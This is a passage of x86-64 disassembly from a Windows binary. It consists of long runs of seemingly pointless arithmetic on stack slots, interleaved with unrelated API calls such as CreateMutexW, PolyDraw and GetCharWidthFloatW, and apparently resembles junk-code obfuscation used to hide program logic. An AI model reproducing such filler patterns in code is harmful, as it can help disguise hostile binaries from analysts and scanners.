movzx eax, byte [rsp + 0x20b]
mov byte [rsp + 0x237], al
mov rax, qword [rsp + 0x6678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5ef8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5b68], rax
mov rax, qword [rsp + 0x40a8]
mov eax, dword [rax]
mov ecx, dword [0x14018c8d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b10], eax
lea rax, [rsp + 0x1004]
mov qword [rsp + 0x9688], rax
movzx eax, word [rsp + 0x67c]
movzx ecx, word [rsp + 0x6a8]
sub eax, ecx
mov rcx, qword [rsp + 0x6840]
mov word [rcx], ax
mov rax, qword [rsp + 0x2ee0]
mov rcx, qword [0x14018be30]
or rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c768]
mov qword [rcx], rax
lea rax, [rsp + 0x860]
mov qword [rsp + 0x9690], rax
mov rax, qword [rsp + 0x85a0]
mov rcx, qword [rsp + 0x6410]
mov qword [rsp + 0x9698], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9698]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9000]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f30]
mov rcx, qword [rsp + 0x3318]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6838]
mov qword [rcx], rax
lea rax, [rsp + 0x2b08]
mov qword [rsp + 0x96a0], rax
mov rax, qword [rsp + 0x78d0]
movsx eax, byte [rax]
mov rcx, qword [0x14018c020]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7518]
mov byte [rcx], al
mov rax, qword [rsp + 0x4bc8]
mov rcx, qword [rsp + 0x9058]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1eac], eax
movzx eax, byte [rsp + 0xc6]
movzx ecx, byte [rsp + 0x73]
add eax, ecx
mov rcx, qword [rsp + 0x88f8]
mov byte [rcx], al
mov rax, qword [0x14018c188]
mov rcx, qword [rsp + 0x9238]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x21c8], eax
mov rax, qword [rsp + 0x40b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7940]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14018c800]
mov word [rcx], ax
lea rax, [rsp + 0x554]
mov qword [rsp + 0x96a8], rax
mov rax, qword [rsp + 0x7d18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfcc]
sar eax, cl
mov rcx, qword [rsp + 0x68a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6f50]
movzx eax, word [rax]
mov word [rsp + 0x1084], ax
mov rax, qword [rsp + 0x4f18]
mov rcx, qword [rsp + 0x9258]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7b98]
mov qword [rcx], rax
lea rax, [0x14018ad60]
mov qword [rsp + 0x96b0], rax
mov rax, qword [rsp + 0x61c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1de]
add eax, ecx
mov rcx, qword [rsp + 0x7fe0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7ce0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x63c8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4980]
mov word [rcx], ax
mov rax, qword [0x14018c7b0]
movzx eax, word [rax]
mov word [rsp + 0x1088], ax
lea rax, [rsp + 0x32a0]
mov qword [0x14018cbb8], rax
mov rax, qword [rsp + 0x5e20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6188]
mov qword [rsp + 0x96b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x96b8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9578]
mov qword [rcx], rax
lea rax, [rsp + 0x3820]
mov qword [rsp + 0x96c0], rax
mov rax, qword [rsp + 0x56f0]
mov rcx, qword [rsp + 0x2b68]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8938]
mov qword [rcx], rax
movzx eax, word [rsp + 0xd68]
movzx ecx, word [rsp + 0x45c]
or eax, ecx
mov rcx, qword [rsp + 0x5cf8]
mov word [rcx], ax
lea rax, [rsp + 0x1e80]
mov qword [rsp + 0x96c8], rax
mov rax, qword [rsp + 0x8228]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7da0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8928]
mov byte [rcx], al
mov rax, qword [rsp + 0x9390]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x159], al
mov rax, qword [0x14018c608]
mov rcx, qword [rsp + 0x7118]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x64c8], rax
mov rax, qword [rsp + 0x9670]
mov ecx, dword [rsp + 0x1c64]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14018bde0]
mov dword [rcx], eax
movsx eax, word [rsp + 0xe1c]
mov rcx, qword [0x14018be00]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x798], ax
lea rax, [rsp + 0x584]
mov qword [rsp + 0x96d0], rax
movzx eax, word [rsp + 0x1014]
mov rcx, qword [rsp + 0x8af8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8cf0]
mov word [rcx], ax
mov rax, qword [0x14018caa8]
mov qword [rsp + 0x96d8], rax
mov eax, dword [rsp + 0x2208]
mov rcx, qword [rsp + 0x71d8]
mov qword [rsp + 0x96e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x96e0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1cd4], eax
lea rax, [rsp + 0x8e20]
mov qword [rsp + 0x96e8], rax
mov rax, qword [rsp + 0x8f08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x48d0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x76d8]
mov byte [rcx], al
movsx eax, word [rsp + 0xe2c]
movsx ecx, word [rsp + 0xcb4]
and eax, ecx
mov rcx, qword [rsp + 0x6750]
mov word [rcx], ax
lea rax, [rsp + 0xd64]
mov qword [0x14018cbc0], rax
lea rax, [rsp + 0x9388]
mov qword [rsp + 0x96f0], rax
movzx eax, word [rsp + 0x390]
mov rcx, qword [rsp + 0x5508]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6ac8]
mov word [rcx], ax
lea rax, [rsp + 0x1fd0]
mov qword [rsp + 0x96f8], rax
movzx ecx, word [rsp + 0xee8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd50], ax
movzx eax, byte [rsp + 0x1df]
movzx ecx, byte [rsp + 0x177]
shl eax, cl
mov rcx, qword [rsp + 0x78c8]
mov byte [rcx], al
mov rax, qword [0x14018c920]
mov rcx, qword [rsp + 0x3ee8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x21d4], eax
mov rax, qword [rsp + 0x8110]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x38d0]
shr rax, cl
mov qword [rsp + 0x34d0], rax
movsx eax, byte [0x14018bdc7]
movsx ecx, byte [rsp + 0x200]
add eax, ecx
mov byte [rsp + 0x1ad], al
lea rax, [rsp + 0xb58]
mov qword [rsp + 0x9700], rax
mov rax, qword [rsp + 0x62d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xec0]
sub eax, ecx
mov word [0x14018ae84], ax
mov rax, qword [rsp + 0x8938]
mov rcx, qword [rsp + 0x7e58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3280], rax
mov rax, qword [rsp + 0x6738]
mov rcx, qword [rsp + 0x91f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d50]
mov qword [rcx], rax
lea rax, [rsp + 0xddc]
mov qword [rsp + 0x9708], rax
mov rax, qword [0x14018cbc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8fc]
and eax, ecx
mov rcx, qword [rsp + 0x6c40]
mov word [rcx], ax
mov rax, qword [rsp + 0x9050]
mov qword [rsp + 0x9710], rax
movsx eax, byte [rsp + 0xbb]
mov rcx, qword [rsp + 0x8ec8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7eb8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7988]
mov rcx, qword [rsp + 0x5398]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2138], eax
lea rax, [rsp + 0x87a8]
mov qword [rsp + 0x9718], rax
movsx eax, word [rsp + 0xe98]
movsx ecx, word [0x14018c8a0]
add eax, ecx
mov rcx, qword [0x14018c880]
mov word [rcx], ax
movzx eax, word [rsp + 0x1034]
mov rcx, qword [rsp + 0x5458]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x53c8]
mov word [rcx], ax
lea rax, [rsp + 0x2220]
mov qword [rsp + 0x9720], rax
mov rax, qword [rsp + 0x4890]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x45f8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4a20]
mov byte [rcx], al
lea rax, [rsp + 0x9048]
mov qword [rsp + 0x9728], rax
mov rax, qword [rsp + 0x7b80]
mov rcx, qword [rsp + 0x38a0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x82e8], rax
mov rax, qword [rsp + 0x6bd8]
mov ecx, dword [0x14018ad0c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x94c0]
mov dword [rcx], eax
lea rax, [rsp + 0xbd]
mov qword [rsp + 0x9730], rax
mov rax, qword [rsp + 0x90d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9368]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd40], ax
lea rax, [rsp + 0xcb0]
mov qword [0x14018cbc8], rax
lea rax, [0x14018c988]
mov qword [rsp + 0x9738], rax
mov rax, qword [rsp + 0x6c10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7120]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6298]
mov word [rcx], ax
movsx eax, word [rsp + 0xe50]
mov rcx, qword [rsp + 0x7718]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd88], ax
mov rax, qword [rsp + 0x4330]
mov rax, qword [rax]
mov qword [rsp + 0x9740], rax
mov rax, qword [rsp + 0x7db8]
mov rcx, qword [rsp + 0x3a38]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1b5c], eax
lea rax, [rsp + 0x100]
mov qword [rsp + 0x9748], rax
mov rax, qword [0x14018c890]
mov rcx, qword [rsp + 0x56c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3068], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9750], rax
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5788]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9220]
mov word [rcx], ax
mov rax, qword [rsp + 0x74f8]
mov rcx, qword [0x14018c5b8]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14018c660], rax
lea rax, [rsp + 0x2340]
mov qword [rsp + 0x9758], rax
movzx eax, byte [rsp + 0x1d1]
mov rcx, qword [rsp + 0x4458]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x7c70]
mov byte [rcx], al
lea rax, [rsp + 0xe88]
mov qword [rsp + 0x9760], rax
movzx eax, word [0x14018ad3c]
mov rcx, qword [rsp + 0x7f90]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7558]
mov word [rcx], ax
mov rax, qword [rsp + 0x3190]
mov rcx, qword [rsp + 0x30c8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6098]
mov qword [rcx], rax
lea rax, [rsp + 0x2258]
mov qword [rsp + 0x9768], rax
mov rax, qword [0x14018be98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8048]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1af], al
movsx eax, word [rsp + 0x5c8]
mov rcx, qword [rsp + 0x5a88]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x414], ax
mov r9d, 0xd05
xor r8d, r8d
lea rdx, [rsp + 0x7d40]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x22e8], eax
movzx eax, word [0x14018c2c0]
mov rcx, qword [rsp + 0x9140]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14018cb50]
mov word [rcx], ax
mov rax, qword [rsp + 0x6628]
mov rcx, qword [rsp + 0x3660]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4498]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7430]
mov qword [rsp + 0x9770], rax
mov rax, qword [0x14018cb20]
mov rcx, qword [rsp + 0x7890]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6948]
mov qword [rcx], rax
movsx eax, word [rsp + 0x580]
mov rcx, qword [rsp + 0x7940]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe48], ax
lea rax, [rsp + 0x21d0]
mov qword [rsp + 0x9778], rax
movsx eax, byte [0x14018acd9]
mov rcx, qword [rsp + 0x6e98]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9510]
mov byte [rcx], al
lea rax, [rsp + 0x65c8]
mov qword [rsp + 0x9780], rax
mov rax, qword [rsp + 0x7348]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2308]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6ea8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x64e0]
mov byte [rcx], al
lea rax, [rsp + 0xffc]
mov qword [0x14018cbd0], rax
mov rcx, qword [rsp + 0x7d40]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0xf30]
mov rcx, qword [rsp + 0x6ad0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x770], ax
movzx eax, word [rsp + 0xf28]
movzx ecx, word [rsp + 0xf30]
sub eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov word [rcx], ax
lea rax, [rsp + 0x3908]
mov qword [rsp + 0x9788], rax
mov rax, qword [0x14018c448]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ce8]
mov qword [rsp + 0x9790], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9790]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4fc8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1b28]
mov rcx, qword [rsp + 0x6a28]
mov qword [rsp + 0x9798], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9798]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5468]
mov dword [rcx], eax
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x97a0], rax
mov rax, qword [rsp + 0x3f98]
movsx eax, word [rax]
mov rcx, qword [0x14018c758]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6a00]
mov word [rcx], ax
movzx eax, word [rsp + 0xd1c]
mov word [rsp + 0x108c], ax
mov rax, qword [rsp + 0x4f50]
mov rcx, qword [rsp + 0x5da0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [0x14018ca80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8030]
movzx eax, word [rax]
movzx ecx, word [0x14018ae3c]
sub eax, ecx
mov rcx, qword [rsp + 0x7c68]
mov word [rcx], ax
mov rax, qword [rsp + 0x8578]
mov rcx, qword [rsp + 0x7e10]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3948], rax
mov rax, qword [rsp + 0x6eb8]
mov rcx, qword [rsp + 0x8a10]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x47b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2240]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7a18]
mov dword [rcx], eax
lea rax, [rsp + 0x7e00]
mov qword [rsp + 0x97a8], rax
movzx eax, byte [rsp + 0x205]
imul eax, eax, 0xb9
mov rcx, qword [rsp + 0x4868]
mov byte [rcx], al
lea rax, [rsp + 0x2334]
mov qword [rsp + 0x97b0], rax
mov rax, qword [rsp + 0x6e68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8d70]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1b0], al
lea rax, [rsp + 0x430]
mov qword [0x14018cbd8], rax
movsx eax, word [0x14018c220]
movsx ecx, word [rsp + 0x958]
and eax, ecx
mov rcx, qword [rsp + 0x6fa0]
mov word [rcx], ax
movzx eax, word [rsp + 0x994]
mov word [rsp + 0x1090], ax
mov rax, qword [rsp + 0x6e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8200]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov word [rcx], ax
lea rax, [0x14018c570]
mov qword [rsp + 0x97b8], rax
mov rax, qword [rsp + 0x8d28]
mov rcx, qword [rsp + 0x4858]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4680], rax
mov rax, qword [rsp + 0x91a8]
movsx eax, byte [rax]
movsx ecx, byte [0x14018bdcc]
and eax, ecx
mov rcx, qword [rsp + 0x8dd0]
mov byte [rcx], al
lea rax, [rsp + 0x4dc]
mov qword [rsp + 0x97c0], rax
movzx eax, word [rsp + 0x720]
mov rcx, qword [rsp + 0x8ba8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x92a8]
mov word [rcx], ax
mov rax, qword [0x14018c580]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7e88]
mov qword [rsp + 0x97c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x97c8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [0x14018c4f0]
mov qword [rcx], rax
lea rax, [rsp + 0x6be8]
mov qword [rsp + 0x97d0], rax
mov rax, qword [rsp + 0x4df0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3de8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x2fc0], rax
mov rax, qword [rsp + 0x8130]
mov rcx, qword [0x14018c788]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9520]
mov qword [rcx], rax
lea rax, [rsp + 0x3fc]
mov qword [rsp + 0x97d8], rax
mov rax, qword [rsp + 0x74e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6530]
mov qword [rsp + 0x97e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x97e0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x6cb8]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x97e8], rax
lea rax, [rsp + 0x1f1]
mov qword [rsp + 0x97f0], rax
mov rax, qword [rsp + 0x96e8]
mov rcx, qword [rsp + 0x6010]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4408]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1fb]
mov byte [rsp + 0x238], al
lea rax, [rsp + 0x1ff4]
mov qword [0x14018cbe0], rax
mov rax, qword [0x14018caf0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6ae8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6800]
mov word [rcx], ax
movsx eax, word [rsp + 0x6b0]
movsx ecx, word [rsp + 0x1018]
sub eax, ecx
mov rcx, qword [rsp + 0x7ea8]
mov word [rcx], ax
lea rax, [rsp + 0x558]
mov qword [rsp + 0x97f8], rax
mov rax, qword [rsp + 0x9728]
mov rcx, qword [rsp + 0x42d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3390], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
lea rax, [rsp + 0x213]
mov qword [rsp + 0x9800], rax
mov rax, qword [rsp + 0x80e0]
mov rcx, qword [rsp + 0x60f0]
mov qword [rsp + 0x9808], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9808]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x8eb0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2024]
mov ecx, dword [0x14018c8d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1ff4], eax
lea rax, [rsp + 0xc7c]
mov qword [rsp + 0x9810], rax
lea rax, [rsp + 0x770]
mov qword [0x14018cbe8], rax
mov rax, qword [0x14018c100]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5d20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8270]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6c78]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9c0], ax
mov rax, qword [rsp + 0x7d58]
mov rcx, qword [rsp + 0x5338]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2154], eax
mov rax, qword [rsp + 0x7c70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ee]
xor eax, ecx
mov rcx, qword [rsp + 0x5aa0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7f88]
mov qword [rsp + 0x9818], rax
mov rax, qword [rsp + 0x8fc0]
mov rcx, qword [rsp + 0x6278]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3ee8]
mov dword [rcx], eax
lea rax, [rsp + 0x20c]
mov qword [rsp + 0x9820], rax
mov rax, qword [rsp + 0x6800]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x690]
shl eax, cl
mov rcx, qword [rsp + 0x7718]
mov word [rcx], ax
mov rax, qword [rsp + 0x6320]
movzx eax, word [rax]
mov rcx, qword [0x14018ca68]
movzx ecx, word [rcx]
sar eax, cl
movsx eax, word [0x14018bdc4]
movsx ecx, word [rsp + 0xc5c]
and eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
movzx eax, word [0x14018bdc8]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3de8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3cc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
sar eax, cl
mov word [0x14018bdc8], ax
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x3b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3d98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
shl eax, cl
mov rcx, qword [rsp + 0x3db8]
mov word [rcx], ax
mov r9d, 0xc3
lea r8, [rsp + 0x1f60]
lea rdx, [rsp + 0x3c38]
mov rcx, qword [rsp + 0x3b48]
call qword [sym.imp.GDI32.dll_PolyDraw]
mov dword [rsp + 0x2aa8], eax
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1f8c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1fa0], eax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x3d98]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3db8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x99]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ad], al
mov rax, qword [rsp + 0x3d80]
mov rcx, qword [rsp + 0x3b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3bc0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1f7c]
movzx ecx, al
mov eax, dword [rsp + 0x2010]
shr eax, cl
mov rcx, qword [rsp + 0x3bd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3cf0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc58], ax
jmp 0x1400f1566
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x3b78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov rdx, qword [rsp + 0x3cd0]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jge 0x1400f1425
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc6c], ax
movzx eax, word [rsp + 0xc60]
movzx ecx, word [0x14018bdc8]
sub eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x2f10]
movzx ecx, al
mov rax, qword [rsp + 0x34f8]
sar rax, cl
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3cc0]
movzx eax, word [rax]
movzx ecx, word [0x14018bdc8]
add eax, ecx
mov word [rsp + 0xc60], ax
movsx eax, word [rsp + 0xc64]
movsx ecx, word [rsp + 0xc5c]
and eax, ecx
mov rcx, qword [0x14018bdd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3cd0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3de8]
shl rax, cl
mov qword [rsp + 0x2f10], rax
mov rax, qword [rsp + 0x3c40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ac]
xor eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a68]
mov ecx, dword [rsp + 0x1c58]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3bb8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1fa0]
sar eax, cl
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
lea r9, [rsp + 0x3a70]
mov r8d, 0x7e
mov edx, 0xb4
mov rcx, qword [rsp + 0x3af0]
call qword [sym.imp.GDI32.dll_GetCharWidthFloatW]
mov dword [rsp + 0x1fdc], eax
jmp 0x1400f1566
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3db8]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x3b90]
movzx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jge 0x1400f1566
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
mov dword [rsp + 0x1fc0], eax
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x3b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3d08], rax
mov rax, qword [rsp + 0x3b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [0x14018bdc4]
add eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14018bdc8], ax
movzx eax, word [rsp + 0xc60]
movzx ecx, word [0x14018bdc8]
and eax, ecx
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
mov eax, dword [rsp + 0x2010]
movzx ecx, al
mov eax, dword [rsp + 0x1ff4]
shr eax, cl
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b28]
mov rcx, qword [rsp + 0x3d80]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3d08], rax
mov rax, qword [rsp + 0x3c40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a40]
mov rcx, qword [rsp + 0x3bb8]
mov ecx, dword [rcx]
